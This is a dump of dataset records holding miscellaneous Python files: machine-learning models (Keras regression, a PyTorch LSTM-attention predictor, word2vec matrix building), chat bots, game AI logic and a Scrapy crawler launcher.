'r').read())\n logger = logging.getLogger(__name__)\n updater = Updater(config['token'])\n\n logging.basicConfig(format='[%(asctime)s] [%(levelname)s:%(name)s] %(message)s', level=logging.INFO,\n filename=config['logFileName'])\n\n updater.dispatcher.add_handler(CommandHandler('chat', chat))\n updater.dispatcher.add_handler(CommandHandler('status', status))\n\n updater.start_polling(timeout=config['poolTimeout'])\n\n monitor = Process(target=servers_monitor, args=(updater.bot,))\n monitor.start()\n\n updater.idle()\n\n # Stopping thread\n monitor.terminate()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tgsrvmon.py","file_name":"tgsrvmon.py","file_ext":"py","file_size_in_byte":3598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"369869620","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom keras.datasets import boston_housing\nfrom keras import models\nfrom keras import layers\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\n(train_data, train_targets), (test_data, test_targets) = boston_housing.load_data()\n\n# Normalization of the data (centered around 0 within -1 and +1 standard deviations)\n# so all values have a similar range\nmean = train_data.mean(axis = 0)\nstd = train_data.std(axis = 0)\n\ntrain_data -= mean\ntrain_data /= std\n\ntest_data -= mean\ntest_data /= std\n\n# The number of samples is small, the network will also be small so we minimize the overfitting\ndef build_model():\n model = models.Sequential()\n model.add(layers.Dense(64, activation = 'relu', input_shape = (train_data.shape[1],)))\n model.add(layers.Dense(64, activation = 'relu'))\n # No activation so the output can take any value\n model.add(layers.Dense(1))\n\n # MAE : mean absolute value, good for regressions\n # MSE : mean squared error, good for regressions\n model.compile(optimizer = 'rmsprop', loss = 'mse', metrics = ['mae'])\n return model\n\n# K-fold, the model is trained on 3/4 of the dataset and validated with the last 1/2\n# this is done 4 times so it runs with the whole dataset and we compute the average\nk = 4\nnum_val_samples = len(train_data) // k\nnum_epochs = 500\nall_mae_histories = []\n\nfor i in range(k):\n print('processing fold #', i)\n val_data = train_data[i * num_val_samples: (i + 1) * num_val_samples]\n val_targets = train_targets[i * num_val_samples: (i + 1) * num_val_samples]\n partial_train_data = np.concatenate(\n [\n train_data[:i * num_val_samples],\n train_data[(i + 1) * num_val_samples:]\n ],\n axis = 0\n )\n partial_train_targets = np.concatenate(\n [\n train_targets[:i * num_val_samples],\n train_targets[(i + 1) * num_val_samples:]\n ],\n axis = 0\n )\n model = build_model()\n history = model.fit(\n partial_train_data,\n partial_train_targets,\n validation_data = (val_data, val_targets),\n epochs = num_epochs,\n batch_size = 1,\n verbose = 0\n )\n # MAE by epoch\n mae_history = history.history['val_mean_absolute_error']\n all_mae_histories.append(mae_history)\n\n# MAE by epoch for all the folds\naverage_mae_history = [np.mean([x[i] for x in all_mae_histories]) for i in range(num_epochs)]\n\nplt.plot(range(1, len(average_mae_history) + 1), average_mae_history)\nplt.xlabel('Epochs')\nplt.ylabel('Validation MAE')\nplt.show()\n\ndef smooth_curve(points, factor = 0.9):\n smoothed_points = []\n for point in points:\n if smoothed_points:\n previous = smoothed_points[-1]\n smoothed_points.append(previous * factor + point * (1 - factor))\n else:\n smoothed_points.append(point)\n return smoothed_points\n\nsmooth_mae_history = smooth_curve(average_mae_history[10:])\n\nplt.clf()\nplt.plot(range(1, len(smooth_mae_history) + 1), smooth_mae_history)\nplt.xlabel('Epochs')\nplt.ylabel('Validation MAE')\nplt.show()\n\n# 80 epochs seems to be optimal\nmodel = build_model()\nmodel.fit(train_data, train_targets, epochs = 80, batch_size = 16, verbose = 0)\ntest_mse_score, test_mae_score = model.evaluate(test_data, test_targets)\n\nprint(test_mse_score)\nprint(test_mae_score)\n","sub_path":"deep-learning-python/3-boston-housing.py","file_name":"3-boston-housing.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"298361617","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\n# Mean Absolute Percentage Loss:\ndef MAPELoss(output, target):\n output, target = output.detach().cpu(), target.detach().cpu()\n return torch.mean(torch.abs((target - output) / target)).item()\n\n\n# Accuracy:\ndef Accuracy(output, target):\n output = torch.argmax(output, axis=1)\n return ((output == target).sum() / target.size(0)).item()\n\n\n# Mish Activation Function:\nclass Mish(nn.Module):\n def __init__(self):\n super(Mish, self).__init__()\n \n \n def forward(self, x):\n return x * torch.tanh(F.softplus(x))\n\n\n# Transformer模型中的encoder:\nclass TransformerEncoder(nn.Module):\n def __init__(self, embedSize, window, numHeads=4):\n super(TransformerEncoder, self).__init__()\n self.embedSize = embedSize\n self.attention = nn.MultiheadAttention(embedSize, numHeads)\n self.mlp = nn.Sequential(\n nn.Dropout(0.1),\n nn.Linear(embedSize, embedSize * 2),\n Mish(),\n nn.Linear(embedSize * 2, embedSize)\n )\n self.layerNorm0 = nn.LayerNorm(embedSize)\n self.layerNorm1 = nn.LayerNorm(embedSize)\n \n \n def forward(self, x):\n xt = x.transpose(0, 1)\n h1 = self.attention(xt, xt, xt)[0]\n h2 = self.layerNorm0((h1 + xt).transpose(0, 1))\n h3 = self.mlp(h2)\n h4 = self.layerNorm1(h2 + h3)\n return h4 + x\n \n\n# 模型最前面的LSTM部分:\nclass Encoder(nn.Module):\n def __init__(self, inputSize, hiddenSize, window, numLayers, dropout, \n bidirectional, isAttention, attentionHeads):\n super(Encoder, self).__init__()\n self.inputSize = inputSize\n self.hiddenSize = hiddenSize\n self.bidirectional = bidirectional\n self.isAttention = isAttention\n self.lstm = nn.LSTM(\n inputSize, \n hiddenSize, \n numLayers, \n batch_first=True,\n bidirectional=bidirectional,\n dropout=dropout\n )\n if isAttention:\n self.attention = TransformerEncoder(hiddenSize * 2 if bidirectional else hiddenSize, \n window, \n attentionHeads)\n \n \n def forward(self, y, index, pos, neg):\n device = y.device\n ouputSize = self.hiddenSize * 2 if self.bidirectional else self.hiddenSize\n \n # Mainstream:\n factorY, _ = self.lstm(y)\n \n # Index:\n factorI, _ = self.lstm(index)\n \n # Positive:\n factorP = torch.zeros([pos.size(0), pos.size(1), ouputSize]).to(device)\n for i in range(0, self.inputSize, pos.shape[-1]):\n factorP_I, _ = self.lstm(pos[..., i: i + self.inputSize])\n factorP += factorP_I\n \n factorP /= pos.shape[-1]\n \n # Negative:\n factorN = torch.zeros([neg.size(0), neg.size(1), ouputSize]).to(device)\n for i in range(0, self.inputSize, neg.shape[-1]):\n factorN_I, _ = self.lstm(neg[..., i: i + self.inputSize])\n factorN += factorN_I\n \n factorN /= neg.shape[-1]\n \n # Attention:\n if self.isAttention:\n factorY = self.attention(factorY)\n factorI = self.attention(factorI)\n factorP = self.attention(factorP)\n factorN = self.attention(factorN)\n \n # Output result:\n return factorY, factorI, factorP, factorN\n\n\n# 模型中的Multi-Input LSTM:\nclass MI_LSTM(nn.Module):\n def __init__(self, inputSize, hiddenSize):\n super(MI_LSTM, self).__init__()\n concatSize = inputSize + hiddenSize\n self.inputSize = inputSize\n self.hiddenSize = hiddenSize\n self.lF = nn.Linear(concatSize, hiddenSize)\n self.lO = nn.Linear(concatSize, hiddenSize)\n self.lCY = nn.Linear(concatSize, hiddenSize)\n self.lCI = nn.Linear(concatSize, hiddenSize)\n self.lCP = nn.Linear(concatSize, hiddenSize)\n self.lCN = nn.Linear(concatSize, hiddenSize)\n self.lIY = nn.Linear(concatSize, hiddenSize)\n self.lII = nn.Linear(concatSize, hiddenSize)\n self.lIP = nn.Linear(concatSize, hiddenSize)\n self.lIN = nn.Linear(concatSize, hiddenSize)\n \n wA = torch.nn.init.kaiming_normal_(torch.zeros([hiddenSize, hiddenSize]))\n bAY = torch.nn.init.uniform_(torch.zeros([hiddenSize]))\n bAI = torch.nn.init.uniform_(torch.zeros([hiddenSize]))\n bAP = torch.nn.init.uniform_(torch.zeros([hiddenSize]))\n bAN = torch.nn.init.uniform_(torch.zeros([hiddenSize]))\n self.wA = nn.Parameter(wA)\n self.bAY = nn.Parameter(bAY)\n self.bAI = nn.Parameter(bAI)\n self.bAP = nn.Parameter(bAP)\n self.bAN = nn.Parameter(bAN)\n \n \n def forward(self, factorY, factorI, factorP, factorN):\n batch, window, device = factorY.size(0), factorY.size(1), factorY.device\n h = torch.zeros([batch, window, self.hiddenSize]).to(device)\n cT = torch.zeros([batch, self.hiddenSize]).to(device)\n hT = torch.zeros([batch, self.hiddenSize]).to(device)\n for t in range(window):\n cT, hT = self.Step(factorY[:, t, :],\n factorI[:, t, :],\n factorP[:, t, :],\n factorN[:, t, :],\n cT, hT)\n h[:, t, :] = hT\n \n return h\n \n \n def Step(self, yT, iT, pT, nT, cT=None, hT=None):\n device, batch = yT.device, yT.size(0)\n if cT is None:\n cT = torch.zeros([batch, self.hiddenSize]).to(device)\n \n if hT is None:\n hT = torch.zeros([batch, self.hiddenSize]).to(device)\n \n hTyT = torch.cat([hT, yT], dim=-1)\n hTiT = torch.cat([hT, iT], dim=-1)\n hTpT = torch.cat([hT, pT], dim=-1)\n hTnT = torch.cat([hT, nT], dim=-1)\n \n f = torch.sigmoid(self.lF (hTyT))\n o = torch.sigmoid(self.lO (hTyT))\n iY = torch.sigmoid(self.lIY(hTyT))\n iI = torch.sigmoid(self.lII(hTyT))\n iP = torch.sigmoid(self.lIP(hTyT))\n iN = torch.sigmoid(self.lIN(hTyT))\n \n lY = torch.tanh(self.lCY(hTyT)) * iY\n lI = torch.tanh(self.lCI(hTiT)) * iI\n lP = torch.tanh(self.lCP(hTpT)) * iP\n lN = torch.tanh(self.lCN(hTnT)) * iN\n lT = self.GetAttention(lY, lI, lP, lN, cT)\n \n cNext = cT * f + lT\n hNext = torch.tanh(cNext) * o\n \n return cNext, hNext\n \n \n def GetAttention(self, lY, lI, lP, lN, cT):\n cTwA = cT @ self.wA\n attention = [\n torch.tanh((lY * cTwA).sum(dim=-1, keepdim=True) + self.bAY),\n torch.tanh((lI * cTwA).sum(dim=-1, keepdim=True) + self.bAI),\n torch.tanh((lP * cTwA).sum(dim=-1, keepdim=True) + self.bAP),\n torch.tanh((lN * cTwA).sum(dim=-1, keepdim=True) + self.bAN)\n ]\n attention = torch.cat(attention, dim=-1)\n attention = torch.softmax(attention, dim=-1)\n lT = (attention[:, 0: 1] * lY + \n attention[:, 1: 2] * lI + \n attention[:, 2: 3] * lP + \n attention[:, 3: 4] * lN )\n return lT\n \n\n# 模型中的Attention Layer:\nclass Attention(nn.Module):\n def __init__(self, inputSize, embedSize, window, attentionLayers, attentionHeads):\n super(Attention, self).__init__()\n self.inputSize = inputSize\n self.embedSize = embedSize\n self.attention = nn.Sequential(*[TransformerEncoder(inputSize, \n window, \n attentionHeads) \n for _ in range(attentionLayers)])\n self.linear = nn.Linear(inputSize, embedSize)\n self.v = nn.Parameter(torch.nn.init.uniform_(torch.zeros([embedSize])))\n \n \n def forward(self, x):\n h = self.attention(x)\n h = torch.tanh(self.linear(h))\n b = torch.softmax(h @ self.v, dim=1).unsqueeze(-1)\n return (h * b).sum(dim=1)\n \n\n# 模型最後面的FC層(regressor):\nclass Regressor(nn.Module):\n def __init__(self, inputSize, layers):\n super(Regressor, self).__init__()\n if layers > 1:\n blocks = ([nn.BatchNorm1d(inputSize)] + \n [self.MakeBlock(inputSize, inputSize * 2 ** (layers - 2))] + \n [self.MakeBlock(inputSize * 2 ** i, inputSize * 2 ** (i - 1))\n for i in range(layers - 2, 0, -1)])\n elif layers == 1:\n blocks = []\n \n else:\n raise ValueError(\"Layers must greater than 1 .\")\n \n self.extractor = nn.Sequential(*blocks)\n self.regressor = nn.Linear(inputSize, 1)\n \n \n def MakeBlock(self, inputSize, outputSize):\n return nn.Sequential(\n nn.Linear(inputSize, outputSize),\n Mish(),\n nn.BatchNorm1d(outputSize)\n )\n \n \n def forward(self, x):\n h = self.extractor(x)\n h = self.regressor(h)\n return h\n\n\n# 模型最後面的FC層(classifier):\nclass Classifier(nn.Module):\n def __init__(self, inputSize, layers):\n super(Classifier, self).__init__()\n if layers > 1:\n blocks = ([nn.BatchNorm1d(inputSize)] + \n [self.MakeBlock(inputSize, inputSize * 2 ** (layers - 2))] + \n [self.MakeBlock(inputSize * 2 ** i, inputSize * 2 ** (i - 1))\n for i in range(layers - 2, 0, -1)])\n elif layers == 1:\n blocks = []\n \n else:\n raise ValueError(\"Layers must greater than 1 .\")\n \n self.extractor = nn.Sequential(*blocks)\n self.classifier = nn.Linear(inputSize, 3)\n \n \n def MakeBlock(self, inputSize, outputSize):\n return nn.Sequential(\n nn.Linear(inputSize, outputSize),\n Mish(),\n nn.BatchNorm1d(outputSize)\n )\n \n \n def forward(self, x):\n h = self.extractor(x)\n h = self.classifier(h)\n return h\n \n\n# 完整模型:\nclass Model(nn.Module):\n def __init__(self, \n window=30,\n inputSize=1,\n embedSize0=64, \n embedSize1=128, \n embedSize2=128,\n encoderLayers=2,\n encoderDropout=0.1,\n encoderBidirectional=True,\n encoderAttention=True,\n attentionHeads=4,\n attentionLayers=1,\n regressorLayers=4):\n \n super(Model, self).__init__()\n self.window = window\n self.encoder = Encoder(inputSize, \n embedSize0, \n window,\n encoderLayers, \n encoderDropout, \n encoderBidirectional,\n encoderAttention,\n attentionHeads)\n self.lstm = MI_LSTM(embedSize0 * 2 if encoderBidirectional else embedSize0, \n embedSize1)\n self.attention = Attention(embedSize1,\n embedSize2,\n window,\n attentionLayers,\n attentionHeads)\n self.regressor = Regressor(embedSize2,\n regressorLayers)\n \n \n def forward(self, y, index, pos, neg):\n h = self.encoder(y, index, pos, neg)\n h = self.lstm(*h)\n h = self.attention(h)\n h = self.regressor(h)\n return h\n \n\n# 分類版本完整模型:\nclass ClassifierModel(nn.Module):\n def __init__(self, \n window=30,\n inputSize=1,\n embedSize0=64, \n embedSize1=128, \n embedSize2=128,\n encoderLayers=2,\n encoderDropout=0.1,\n encoderBidirectional=True,\n encoderAttention=True,\n attentionHeads=4,\n attentionLayers=1,\n classificationLayers=4):\n \n super(ClassifierModel, self).__init__()\n self.window = window\n self.encoder = Encoder(inputSize, \n embedSize0, \n window,\n encoderLayers, \n encoderDropout, \n encoderBidirectional,\n encoderAttention,\n attentionHeads)\n self.lstm = MI_LSTM(embedSize0 * 2 if encoderBidirectional else embedSize0, \n embedSize1)\n self.attention = Attention(embedSize1,\n embedSize2,\n window,\n attentionLayers,\n attentionHeads)\n self.classifier = Classifier(embedSize2,\n classificationLayers)\n \n \n def forward(self, y, index, pos, neg):\n h = self.encoder(y, index, pos, neg)\n h = self.lstm(*h)\n h = self.attention(h)\n h = self.classifier(h)\n return h\n \n \n ","sub_path":"Save/XLNX_0_Acc=0.9810224622488022.py","file_name":"XLNX_0_Acc=0.9810224622488022.py","file_ext":"py","file_size_in_byte":13640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"322248572","text":"from discord.ext import commands\nimport random\nimport wikipedia\n\n\nclass Wiki(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command(name=\"wiki\", description=\"Get a link to a random wiki article\", aliases=[\"wikipedia\"])\n @commands.guild_only()\n async def wiki(self, ctx):\n page = wikipedia.random(1)\n try:\n info = wikipedia.page(page)\n except wikipedia.DisambiguationError as e:\n s = random.choice(e.options)\n info = wikipedia.page(s)\n url = info.url\n author = ctx.author.mention\n await ctx.send(author + ' ' + str(url) + '')\n\n\ndef setup(bot):\n bot.add_cog(Wiki(bot))\n","sub_path":"cogs/wiki.py","file_name":"wiki.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"273544739","text":"import pygame\nimport random\nfrom vecmath import *\nfrom hypos import hpHypoList\nfrom hypos import noHpHypoList\nfrom . import los\n\nclass SituationManager(object):\n\t\"\"\" \n\tThis class deals with all the things that can and can't be seen or heard\n\tBy any given character in the game. It also deal with targeting and holds\n\tOther situational properties. It is used by any object of the Actor class. \n\t\"\"\"\n\n\tactors = pygame.sprite.Group()\n\tlevelEntities = None\n\twalls = None\n\tfloors = None\n\tnoises = pygame.sprite.Group()\n\tcurrentlevel = None\n\n\tdef __init__(self, host):\n\t\tself.host = host\n\t\tself.friendsInSight = []\n\t\tself.enemiesInSight = []\n\t\tself.enemyLastSeenTile = pygame.sprite.GroupSingle()\n\t\tself.tileToInvestigate = pygame.sprite.GroupSingle()\n\t\tself.struckBy = pygame.sprite.GroupSingle()\n\t\tself.heard = pygame.sprite.Group()\n\t\tself.sightTimer = {}\n\n\tdef inSightRadius(self, target):\n\t\t\"\"\" Determine weather or not a target entity is within the host actor's \n\t\tfield of view.\n\t\t\"\"\"\n\t\treturn self.host.pointWithinFocusRange(89, target.rect.center)\n\n\tdef updateActorsInSight(self):\n\t\tunobstructedActors = los.table[self.host]\n\t\tvisibleActors = [actor for actor in unobstructedActors if self.inSightRadius(actor)]\n\t\tself.friendsInSight = [actor for actor in visibleActors if actor.team is self.host.team]\n\t\tself.enemiesInSight = [actor for actor in visibleActors if actor.team is not self.host.team]\n\n\tdef updateEnemyLastSeenTile(self):\n\t\tlastSeenTile = self.enemyLastSeenTile.sprite\n\t\tif self.host.getCurrentTile() is lastSeenTile:\n\t\t\tself.enemyLastSeenTile.empty()\n\n\tdef updateHearing(self):\n\t\ttileSize = 30\n\t\t# at base the character can hear up to 10 tiles away.\n\t\tbaseRange = tileSize * 10\n\t\thearingRange = baseRange + (self.host.characterSheet.statsbonus[\"WIS\"] * tileSize)\n\t\tfor noise in SituationManager.noises:\n\t\t\tcannotSeeSource = not noise.source in self.enemiesInSight\n\t\t\tsourceIsEnemy = not noise.source.team is self.host.team\n\t\t\tdistanceToNoise = self.host.getDistanceTo(noise.rect.center)\n\t\t\tsoundInRange = distanceToNoise < hearingRange\n\t\t\tif cannotSeeSource and sourceIsEnemy and soundInRange:\n\t\t\t\tself.heard.add(noise)\n\n\tdef update(self):\n\t\tself.updateActorsInSight()\n\t\tself.struckBy.empty()\n\t\tself.updateEnemyLastSeenTile()\n\t\tself.updateHearing()\n\n\tdef getClosestEntity(self, entities, limit=400):\n\t\t\"\"\" Find the closest entity from a list of entities, within a given\n\t\tdistance.\n\t\t\"\"\"\n\t\ttargetlist = {}\n\n\t\tfor entity in entities:\n\t\t\tdistance = self.host.getDistanceTo(entity.rect.center)\n\t\t\tif distance < limit:\n\t\t\t\ttargetlist[int(distance)] = entity\n\n\t\tif targetlist:\n\t\t\treturn targetlist[min(targetlist)]\n\t\treturn None\n\n\tdef getEnemyTarget(self):\n\t\t\"\"\" Find the closest enemy the host actor should target.\n\t\t\"\"\"\n\t\ttarget = self.getClosestEntity(self.enemiesInSight)\n\t\tif target:\n\t\t\tself.enemyLastSeenTile.add(target.getCurrentTile())\n\t\treturn target\n\n\tdef getFleeTarget(self):\n\t\t\"\"\" Find the closest enemy that the host actor should flee from.\n\t\t\"\"\"\n\t\ttarget = self.getClosestEntity(self.enemiesInSight, 120)\n\t\tif target:\n\t\t\tself.enemyLastSeenTile.add(target.getCurrentTile())\n\t\treturn target\n\n\tdef getHuntTarget(self):\n\t\tif self.enemyLastSeenTile.sprite:\n\t\t\treturn self.enemyLastSeenTile.sprite\n\n\t\tnoisesUnobstructed = {}\n\t\tnoisesObstructed = {}\n\t\tfor noise in self.heard:\n\t\t\tdistance = self.host.getDistanceTo(noise.rect.center)\n\t\t\tvisible = los.testSight(self.host, noise, SituationManager.currentlevel.mapHash)\n\t\t\tif visible:\n\t\t\t\tnoisesUnobstructed[int(distance)] = noise\n\t\t\telse:\n\t\t\t\tnoisesObstructed[int(distance)] = noise\n\n\t\tif noisesUnobstructed:\n\t\t\ttarget = noisesUnobstructed[min(noisesUnobstructed)]\n\t\t\tself.enemyLastSeenTile.add(target.source.getCurrentTile())\n\t\t\treturn self.enemyLastSeenTile.sprite\n\n\t\telif noisesObstructed:\n\t\t\ttarget = noisesObstructed[min(noisesObstructed)]\n\t\t\tself.enemyLastSeenTile.add(target.source.getCurrentTile())\n\t\t\treturn self.enemyLastSeenTile.sprite\n\t\t\n\t\treturn None\n\n\tdef getAttackable(self):\n\t\ttarget = self.getEnemyTarget()\n\t\tinRange = False\n\t\tif target:\n\t\t\tinRange = self.host.getDistanceTo(target.rect.center) <= self.host.getAttackRange()\n\t\tif inRange:\n\t\t\treturn target\n\t\treturn False\n\n\tdef getUnseenDestination(self):\n\t\tfloorlist = SituationManager.floors.sprites()\n\t\trandom.shuffle(floorlist)\n\t\tmapHash = SituationManager.currentlevel.mapHash\n\t\tchoice = next(tile for tile in floorlist if not los.testSight(self.host, tile, mapHash))\n\t\treturn choice\n\n\t##\n\t# This one should get a tile that cannot be seen by the actor\n\t# passed in as an argument. It is assumed that the actor has a \n\t##\n\tdef getHiddenDestination(self, actor):\n\t\thidingSpot = False\n\t\tfor tile in SituationManager.floors.sprites():\n\t\t\t#check if the tile can is closer to the host than the actor\n\t\t\tcanRunTo = False\n\t\t\tdistanceToHost = tile.getDistanceTo(self.host.rect.center)\n\t\t\tdistanceToActor = tiles.getDistanceTo(actor.rect.center)\n\t\t\tif distanceToHost < distanceToActor:\n\t\t\t\tcanRunTo = True\n\t\t\t#check if the actor can see that tile.\n\t\t\tmapHash = SituationManager.currentlevel.mapHash\n\t\t\tif canRunTo and not los.testSight(actor, tile, mapHash):\n\t\t\t\thidingSpot = tile\n\n\t\treturn hidingSpot\n\n\tdef itemCheck(self, itemlist):\n\t\tpossibleItems = []\n\t\tfor item in self.host.characterSheet.equipment:\n\t\t\tif self.host.characterSheet.equipment[item] in itemlist:\n\t\t\t\tpossibleItems.append(item)\n\t\treturn possibleItems\n\n\tdef shouldHeal(self):\n\t\t#check that the itemToUse is a health item.\n\t\t#if so, return it.\n\t\titem = self.host.itemToUse\n\t\tif item and self.host.characterSheet.equipment[item] in hpHypoList:\n\t\t\treturn self.host.itemToUse\n\n\t\t#otherwise, check the inventory and such\n\t\thealth = self.host.characterSheet.currentHp\n\t\tfullHealth = self.host.characterSheet.fullHp\n\t\thealthLost = fullHealth - health\n\t\t\n\t\tneedsHealing = healthLost > fullHealth/2\n\t\tif not needsHealing:\n\t\t\treturn False\n\t\t\n\t\twantsHealing = self.host.characterSheet.rollVsStat(\"WIS\", 10)\n\t\tif not wantsHealing:\n\t\t\treturn False\n\t\t\n\t\tpossibleItems = self.itemCheck(hpHypoList)\n\t\tif possibleItems:\n\t\t\t#This needs to be a more intelligent choice.\n\t\t\treturn random.choice(possibleItems)\n\t\t\n\t\treturn False\n\n\tdef shouldBoost(self):\n\t\t#check that the itemToUse is a health item.\n\t\t#if so, return it.\n\t\titem = self.host.itemToUse\n\t\tif item and not self.host.characterSheet.equipment[item] in hpHypoList:\n\t\t\treturn self.host.itemToUse\n\n\t\t#otherwise, check the inventory and such\n\t\tpossibleItems = self.itemCheck(noHpHypoList)\n\t\tif possibleItems:\n\t\t\t#This needs to be a more intelligent choice.\n\t\t\treturn random.choice(possibleItems)\n\t\t\n\t\treturn False\n\n\t##\n\t# chooses a nearby leader based on the charisma of \n\t# surrounding characters. Will be expanded upon when personalities come\n\t# into play.\n\t##\n\tdef shouldFollowLeader(self):\n\t\tleader = None\n\t\tpotentialLeaders = {}\n\t\tfor friend in self.friendsInSight:\n\t\t\tfriendCharisma = friend.characterSheet.statsbonus[\"CHA\"] \n\t\t\thostCharisma = self.host.characterSheet.statsbonus[\"CHA\"]\n\t\t\tdifference = friendCharisma - hostCharisma\n\t\t\tif difference > 0:\n\t\t\t\tpotentialLeaders[difference] = friend\n\n\t\tif potentialLeaders:\n\t\t\tleader = potentialLeaders[max(potentialLeaders)]\n\n\t\treturn leader\n\n","sub_path":"ai/situationmanager.py","file_name":"situationmanager.py","file_ext":"py","file_size_in_byte":7130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"489117683","text":"# -*- coding: utf-8 -*-\n# @Author: zhaoa\n# @Date: 2018-10-15 21:30:30\n# @Last Modified by: zhaoanke\n# @Last Modified time: 2018-10-16 22:27:44\n\n\nimport re\n\nnames = [\"name1\", \"_name\", \"2_name\", \"__name__\"]\n\n\nfor i in names:\n res = re.match(r\"^[_A-Za-z]+[\\w_]$\", i)\n\n if res:\n res.group()\n else:\n print(\"命名错误\", i)\n","sub_path":"10月-Python和Linux高级编程/03web服务器/01re正则表达式/10-15 正则表达式判断变量名.py","file_name":"10-15 正则表达式判断变量名.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"506028530","text":"import os\nimport subprocess\n\n\ndef load_env():\n from dotenv import load_dotenv\n from pathlib import Path\n\n load_dotenv()\n env_path = Path('.') / '.env'\n load_dotenv(dotenv_path=env_path)\n\n\ndef crawl_process():\n spider_1 = os.getenv('SPIDER_1', default='tecblog')\n tecmundo_pages = os.getenv('TECMUNDO_PAGES', default=2)\n\n spider_2 = os.getenv('SPIDER_2', default='tecmundo')\n tecblog_pages = os.getenv('TECBLOG_PAGES', default=2)\n\n comando = 'scrapy crawl {0} -a paginas=\"{1}\" --logfile ./logs/{2}.log'.format\n\n subprocess.call(comando(spider_1, tecmundo_pages, spider_1), shell=True)\n subprocess.call(comando(spider_2, tecblog_pages, spider_2), shell=True)\n\n\ndef main():\n load_env()\n crawl_process()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"crawlers/entrypoint.py","file_name":"entrypoint.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"77962584","text":"\"\"\"\nScript to create grid(s), given input args.\n\"\"\"\n\n# Authors: Gianni Barlacchi \n\nimport argparse\nimport sys\nimport logging\nimport pandas as pd\nimport gensim\nimport pkg_resources\nfrom geol.geol_logger.geol_logger import logger\nfrom geol.utils import utils\nimport re\nimport os\nimport numpy as np\n\n\ndef main(argv):\n\n parser = argparse.ArgumentParser('Build your own grid.')\n\n parser.add_argument('-o', '--outputfolder',\n help='Output folder where to save the matrix.',\n action='store',\n dest='outputfolder',\n required=True,\n type=str)\n\n parser.add_argument('-i', '--input',\n help='Input file with point-of-interests. NOTE: in the case of strategy=nearest|alphabetically, the input file must contains the column cellID.',\n action='store',\n dest='inputfile',\n required=True,\n type=str)\n\n parser.add_argument('-a', '--area',\n action='store',\n dest='area',\n help='Area name',\n default=None,\n type=str)\n\n parser.add_argument('-s', '--size',\n action='store',\n dest='size',\n help='Word2Vec words size. Used when employing Google News model.',\n default=None,\n type=str)\n\n parser.add_argument('-v', '--verbose',\n help='Level of output verbosity.',\n action='store',\n dest='verbosity',\n default=0,\n type=int,\n nargs=\"?\")\n\n args = parser.parse_args()\n\n if(args.verbosity == 1):\n logging.basicConfig(\n format='%(levelname)s: %(message)s', level=logging.INFO)\n\n elif(args.verbosity == 2):\n logging.basicConfig(\n format='%(levelname)s: %(message)s', level=logging.DEBUG)\n\n logger.info(\"Loading w2v model.\")\n\n model = None\n\n ext = tuple([\".biz\", \".bin\"])\n\n if(args.inputfile.endswith(ext)):\n model = gensim.models.KeyedVectors.load_word2vec_format(args.inputfile, binary=True)\n else:\n model = gensim.models.Word2Vec.load(args.inputfile)\n\n tree = pd.read_csv(pkg_resources.resource_filename(\n 'geol', '/resources/category_tree.csv'), encoding='iso-8859-1')\n\n words = tree['level1_name'].dropna().drop_duplicates().tolist() + \\\n tree['level2_name'].dropna().drop_duplicates().tolist() + \\\n tree['level3_name'].dropna().drop_duplicates().tolist() + \\\n tree['level4_name'].dropna().drop_duplicates().tolist()\n\n m = re.search('_s([0-9]+)_', args.inputfile)\n\n if args.size:\n size = args.size\n else:\n if m:\n size = m.group(1)\n\n m = re.search('.+/(.+).model', args.inputfile)\n\n if m:\n model_details = m.group(1)\n else:\n model_details = 'gnews'\n\n outputfile = os.path.abspath(os.path.join(\n args.outputfolder, \"matrix_\" + args.area + \"_\" + model_details + \".txt\"))\n\n f = open(outputfile, 'w', encoding='utf-8')\n\n for word in words:\n\n word = utils.normalize_word(word)\n\n w = word.split(' ')\n v = [0] * int(size)\n\n if len(w) > 1:\n tmp_w2v = []\n for e in w:\n if e in model:\n tmp_w2v.append(model[e])\n if len(tmp_w2v) > 0:\n v = np.mean(tmp_w2v, axis=0)\n elif word in model:\n v = model[word]\n\n v = map(str, v)\n s = ','.join(map(str, v))\n f.write(word.replace(\" \", \"_\") + \"::n\" + \"\\t1.0\\t0\\t\" + s + \"\\n\")\n\n f.close()\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"scripts/SPTK_matrix.py","file_name":"SPTK_matrix.py","file_ext":"py","file_size_in_byte":3914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
